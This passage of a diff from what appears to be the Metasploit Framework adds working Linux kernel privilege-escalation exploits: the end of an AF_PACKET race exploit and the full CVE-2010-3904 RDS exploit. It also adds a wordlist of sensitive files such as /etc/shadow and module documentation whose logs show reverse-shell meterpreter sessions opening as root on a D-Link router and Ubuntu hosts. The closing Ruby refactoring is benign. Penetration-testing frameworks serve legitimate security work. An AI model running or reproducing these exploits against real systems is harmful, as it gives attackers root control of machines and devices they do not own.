||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void launch_rootshell(void)
|
||||
{
|
||||
int fd;
|
||||
char buf[256];
|
||||
struct stat s;
|
||||
|
||||
fd = open(SYSCTL_PATH, O_WRONLY);
|
||||
|
||||
if(fd == -1) {
|
||||
dprintf("[-] could not open %s\n", SYSCTL_PATH);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
memset(buf, '\x00', 256);
|
||||
|
||||
readlink("/proc/self/exe", (char *)&buf, 256);
|
||||
|
||||
write(fd, buf, strlen(buf)+1);
|
||||
|
||||
socket(AF_INET, SOCK_STREAM, 132);
|
||||
|
||||
if (stat(buf,&s) == 0 && s.st_uid == 0) {
|
||||
dprintf("[+] binary executed by kernel, launching rootshell\n");
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
write(fd, "/sbin/modprobe", 15);
|
||||
close(fd);
|
||||
execl(buf, buf, NULL);
|
||||
} else {
|
||||
dprintf("[-] could not create rootshell\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWNET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status, pid;
|
||||
struct utsname u;
|
||||
char buf[512], *f;
|
||||
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
chown("/proc/self/exe", 0, 0);
|
||||
chmod("/proc/self/exe", 06755);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0 && geteuid() == 0) {
|
||||
setresuid(0, 0, 0);
|
||||
setresgid(0, 0, 0);
|
||||
execl("/bin/bash", "bash", "-p", NULL);
|
||||
exit(0);
|
||||
}
|
||||
|
||||
dprintf("linux AF_PACKET race condition exploit by rebel\n");
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking hardware\n");
|
||||
check_procs();
|
||||
dprintf("[~] done, hardware looks good\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
|
||||
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
|
||||
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
|
||||
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
wrapper();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
launch_rootshell();
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,288 @@
|
|||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
// msf note: modified to execute argv[1]
|
||||
//execl("/bin/sh", "sh", NULL);
|
||||
system(argv[1]);
|
||||
|
||||
}
|
Binary file not shown.
Binary file not shown.
|
@ -1,5 +1,6 @@
|
|||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/group
|
||||
/etc/groups
|
||||
/etc/mysql.conf
|
||||
/etc/mysql/my.cnf
|
||||
|
|
Binary file not shown.
|
@ -0,0 +1,74 @@
|
|||
## Description
|
||||
|
||||
This module dlink_dsl2750b_exec_noauth exploits unauthenticated command injection vulnerability through "cli" parameter.
|
||||
Vulnerable firmwares are 1.01 up to 1.03.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do : `use exploit/linux/http/dlink_dsl2750b_exec_noauth`
|
||||
3. Do : `set RHOST [RouterIP]`
|
||||
4. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp`
|
||||
5. Do : `run`
|
||||
6. If router is vulnerable, payload should be dropped via wget method and executed giving us meterpreter session
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/http/dlink_dsl2750b_exec_noauth
|
||||
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set RHOST 192.168.1.1
|
||||
RHOST => 192.168.1.1
|
||||
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
|
||||
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LHOST eth0
|
||||
LHOST => eth0
|
||||
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > set LPORT 5555
|
||||
LPORT => 5555
|
||||
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run
|
||||
|
||||
msf5 exploit(linux/http/dlink_dsl2750b_exec_noauth) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.6:5555
|
||||
[*] 192.168.1.1:80 Checking target version...
|
||||
[*] Using URL: http://0.0.0.0:8080/1M6nI0Or6FUiW
|
||||
[*] Local IP: http://192.168.1.6:8080/1M6nI0Or6FUiW
|
||||
[*] Client 192.168.1.1 (Wget) requested /1M6nI0Or6FUiW
|
||||
[*] Sending payload to 192.168.1.1 (Wget)
|
||||
[*] Sending stage (1104216 bytes) to 192.168.1.1
|
||||
[*] Meterpreter session 25 opened (192.168.1.6:5555 -> 192.168.1.1:48989) at 2018-05-14 05:30:49 -0400
|
||||
[*] Command Stager progress - 100.00% done (117/117 bytes)
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > ls -la
|
||||
Listing: /
|
||||
==========
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
40755/rwxr-xr-x 2554 dir 2013-03-11 07:27:09 -0400 bin
|
||||
40755/rwxr-xr-x 3 dir 2013-03-11 07:27:54 -0400 data
|
||||
40755/rwxr-xr-x 2482 dir 2013-03-11 07:27:56 -0400 dev
|
||||
40755/rwxr-xr-x 779 dir 2013-03-11 07:27:55 -0400 etc
|
||||
40755/rwxr-xr-x 690 dir 2013-03-11 07:27:55 -0400 lib
|
||||
100755/rwxr-xr-x 287124 fil 2013-03-11 07:27:55 -0400 linuxrc
|
||||
40755/rwxr-xr-x 0 dir 1969-12-31 19:00:01 -0500 mnt
|
||||
40755/rwxr-xr-x 56 dir 2013-03-11 07:13:15 -0400 opt
|
||||
40555/r-xr-xr-x 0 dir 1969-12-31 19:00:00 -0500 proc
|
||||
40755/rwxr-xr-x 270 dir 2013-03-11 07:25:43 -0400 sbin
|
||||
40755/rwxr-xr-x 0 dir 1969-12-31 19:00:00 -0500 sys
|
||||
40755/rwxr-xr-x 0 dir 2016-10-08 07:54:13 -0400 tmp
|
||||
40755/rwxr-xr-x 38 dir 2013-03-11 07:23:32 -0400 usr
|
||||
40755/rwxr-xr-x 0 dir 2016-10-08 07:46:13 -0400 var
|
||||
40755/rwxr-xr-x 2801 dir 2013-03-11 07:26:34 -0400 webs
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.1.1
|
||||
OS : (Linux 2.6.30)
|
||||
Architecture : mips
|
||||
BuildTuple : mips-linux-muslsf
|
||||
Meterpreter : mipsbe/linux
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter >
|
||||
```
|
|
@ -0,0 +1,97 @@
|
|||
## Description
|
||||
|
||||
This module exploits a race condition and use-after-free in the
|
||||
`packet_set_ring` function in `net/packet/af_packet.c` (`AF_PACKET`) in
|
||||
the Linux kernel to execute code as `root` (CVE-2016-8655).
|
||||
|
||||
The bug was initially introduced in 2011 and patched in 2016 in version
|
||||
4.4.0-53.74, potentially affecting a large number of kernels; however
|
||||
this exploit targets only systems using Ubuntu (Trusty / Xenial) kernels
|
||||
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
|
||||
Linux Mint.
|
||||
|
||||
The target system must have unprivileged user namespaces enabled and
|
||||
two or more CPU cores.
|
||||
|
||||
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
|
||||
may crash the kernel.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Linux Mint 17.3 (x86_64)
|
||||
* Linux Mint 18 (x86_64)
|
||||
* Ubuntu 16.04.2 (x86_64)
|
||||
|
||||
With kernel versions:
|
||||
|
||||
* 4.4.0-45-generic
|
||||
* 4.4.0-51-generic
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/af_packet_chocobo_root_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**TIMEOUT**
|
||||
|
||||
Race timeout (seconds). (default: `600`)
|
||||
|
||||
**COMPILE**
|
||||
|
||||
Options: `Auto` `True` `False` (default: `Auto`)
|
||||
|
||||
Whether the exploit should be live compiled with `gcc` on the target system,
|
||||
or uploaded as a pre-compiled binary.
|
||||
|
||||
`Auto` will first determine if `gcc` is installed to compile live on the system,
|
||||
and fall back to uploading a pre-compiled binary.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/af_packet_chocobo_root_priv_esc
|
||||
msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/af_packet_chocobo_root_priv_esc) > run
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.iDLrwN3S4.c' (24885 bytes) ...
|
||||
[*] Writing '/tmp/.rMIvkKT' (207 bytes) ...
|
||||
[*] Launching exploit (Timeout: 600)...
|
||||
[*] Sending stage (853256 bytes) to 172.16.191.209
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.209:38530) at 2018-05-07 03:07:21 -0400
|
||||
[+] Deleted /tmp/.iDLrwN3S4.c
|
||||
[+] Deleted /tmp/.iDLrwN3S4
|
||||
[+] Deleted /tmp/.rMIvkKT
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.209
|
||||
OS : Ubuntu 16.04 (Linux 4.4.0-51-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,92 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in the `rds_page_copy_user` function
|
||||
in `net/rds/page.c` (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
|
||||
to execute code as `root` (CVE-2010-3904).
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Fedora 13 (i686) with kernel version 2.6.33.3-85.fc13.i686.PAE
|
||||
* Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/rds_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**COMPILE**
|
||||
|
||||
Options: `Auto` `True` `False` (default: `Auto`)
|
||||
|
||||
Whether the exploit should be live compiled with `gcc` on the target system,
|
||||
or uploaded as a pre-compiled binary.
|
||||
|
||||
`Auto` will first determine if `gcc` is installed to compile live on the system,
|
||||
and fall back to uploading a pre-compiled binary.
|
||||
|
||||
|
||||
## Compiled Executables
|
||||
|
||||
The module makes use of two pre-compiled exploit executables (`rds.x86` and `rds.x64`),
|
||||
to be use when `gcc` is not available on the target host for live compiling, or
|
||||
`COMPILE` is set to `False`.
|
||||
|
||||
The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar.xz):
|
||||
|
||||
```bash
|
||||
./x86_64-linux-musl-gcc -o rds.x64 -pie -static rds.c
|
||||
./i486-linux-musl-gcc -o rds.x86 -pie -static rds.c
|
||||
```
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/rds_priv_esc
|
||||
msf5 exploit(linux/local/rds_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/rds_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/rds_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.zEAOL.c' (7282 bytes) ...
|
||||
[*] Writing '/tmp/.kBTWC7E' (237 bytes) ...
|
||||
[*] Launching exploit...
|
||||
[*] Sending stage (853256 bytes) to 172.16.191.149
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.149:40103) at 2018-05-03 08:52:59 -0400
|
||||
[+] Deleted /tmp/.zEAOL.c
|
||||
[+] Deleted /tmp/.zEAOL
|
||||
[+] Deleted /tmp/.kBTWC7E
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.149
|
||||
OS : Ubuntu 10.04 (Linux 2.6.32-21-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : i486-linux-musl
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -1,13 +1,12 @@
|
|||
module HostDataProxy
|
||||
|
||||
def hosts(wspace = workspace.name, non_dead = false, addresses = nil, search_term = nil)
|
||||
def hosts(opts = {})
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
opts = {}
|
||||
add_opts_workspace(opts, wspace)
|
||||
opts[:non_dead] = non_dead
|
||||
opts[:address] = addresses
|
||||
opts[:search_term] = search_term
|
||||
opts[:non_dead] = false unless opts.has_key?(:non_dead)
|
||||
opts[:address] = opts.delete(:address) || opts.delete(:host)
|
||||
opts[:search_term] = nil unless opts.has_key?(:search_term)
|
||||
add_opts_workspace(opts)
|
||||
data_service.hosts(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem retrieving hosts")
|
||||
|
@ -15,17 +14,24 @@ module HostDataProxy
|
|||
end
|
||||
|
||||
def find_or_create_host(opts)
|
||||
host = get_host(opts)
|
||||
return host unless host.nil?
|
||||
|
||||
report_host(opts)
|
||||
begin
|
||||
host = hosts(opts.clone)
|
||||
if host.nil? || host.first.nil?
|
||||
host = report_host(opts.clone)
|
||||
else
|
||||
host = host.first
|
||||
end
|
||||
host
|
||||
rescue => e
|
||||
self.log_error(e, "Problem finding or creating host")
|
||||
end
|
||||
end
|
||||
|
||||
def get_host(opts)
|
||||
begin
|
||||
data_service = self.get_data_service()
|
||||
data_service.get_host(opts)
|
||||
rescue e
|
||||
rescue => e
|
||||
self.log_error(e, "Problem retrieving host")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -13,16 +13,32 @@ module LootDataProxy
|
|||
end
|
||||
end
|
||||
|
||||
# TODO: Shouldn't this proxy to RemoteLootDataService#find_or_create_loot ?
|
||||
# It's currently skipping the "find" part
|
||||
def find_or_create_loot(opts)
|
||||
report_loot(opts)
|
||||
begin
|
||||
# create separate opts for find operation since the report operation uses slightly different keys
|
||||
# TODO: standardize option keys used for the find and report operations
|
||||
find_opts = opts.clone
|
||||
# convert type to ltype
|
||||
find_opts[:ltype] = find_opts.delete(:type) if find_opts.key?(:type)
|
||||
# convert host to nested hosts address
|
||||
find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host)
|
||||
|
||||
loot = loots(find_opts)
|
||||
if loot.nil? || loot.first.nil?
|
||||
loot = report_loot(opts.clone)
|
||||
else
|
||||
loot = loot.first
|
||||
end
|
||||
loot
|
||||
rescue => e
|
||||
self.log_error(e, "Problem finding or creating loot")
|
||||
end
|
||||
end
|
||||
|
||||
def loots(wspace, opts = {})
|
||||
def loots(opts = {})
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
add_opts_workspace(opts, wspace)
|
||||
add_opts_workspace(opts)
|
||||
data_service.loot(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem retrieving loot")
|
||||
|
|
|
@ -10,9 +10,26 @@ module NoteDataProxy
|
|||
end
|
||||
end
|
||||
|
||||
# TODO: like other *DataProxy modules this currently skips the "find" part
|
||||
def find_or_create_note(opts)
|
||||
report_note(opts)
|
||||
begin
|
||||
# create separate opts for find operation since the report operation uses slightly different keys
|
||||
# TODO: standardize option keys used for the find and report operations
|
||||
find_opts = opts.clone
|
||||
# convert type to ntype
|
||||
find_opts[:ntype] = find_opts.delete(:type) if find_opts.key?(:type)
|
||||
# convert host to nested hosts address
|
||||
find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host)
|
||||
|
||||
note = notes(find_opts)
|
||||
if note.nil? || note.first.nil?
|
||||
note = report_note(opts.clone)
|
||||
else
|
||||
note = note.first
|
||||
end
|
||||
note
|
||||
rescue => e
|
||||
self.log_error(e, "Problem finding or creating note")
|
||||
end
|
||||
end
|
||||
|
||||
def report_note(opts)
|
||||
|
|
|
@ -1,9 +1,9 @@
|
|||
module ServiceDataProxy
|
||||
|
||||
def services(wspace = workspace.name, opts = {})
|
||||
def services(opts = {})
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
add_opts_workspace(opts, wspace)
|
||||
add_opts_workspace(opts)
|
||||
data_service.services(opts)
|
||||
rescue => e
|
||||
self.log_error(e, 'Problem retrieving services')
|
||||
|
@ -11,7 +11,23 @@ module ServiceDataProxy
|
|||
end
|
||||
|
||||
def find_or_create_service(opts)
|
||||
report_service(opts)
|
||||
begin
|
||||
# create separate opts for find operation since the report operation uses slightly different keys
|
||||
# TODO: standardize option keys used for the find and report operations
|
||||
find_opts = opts.clone
|
||||
# convert host to nested hosts address
|
||||
find_opts[:hosts] = {address: find_opts.delete(:host)} if find_opts.key?(:host)
|
||||
|
||||
service = services(find_opts)
|
||||
if service.nil? || service.first.nil?
|
||||
service = report_service(opts.clone)
|
||||
else
|
||||
service = service.first
|
||||
end
|
||||
service
|
||||
rescue => e
|
||||
self.log_error(e, "Problem finding or creating service")
|
||||
end
|
||||
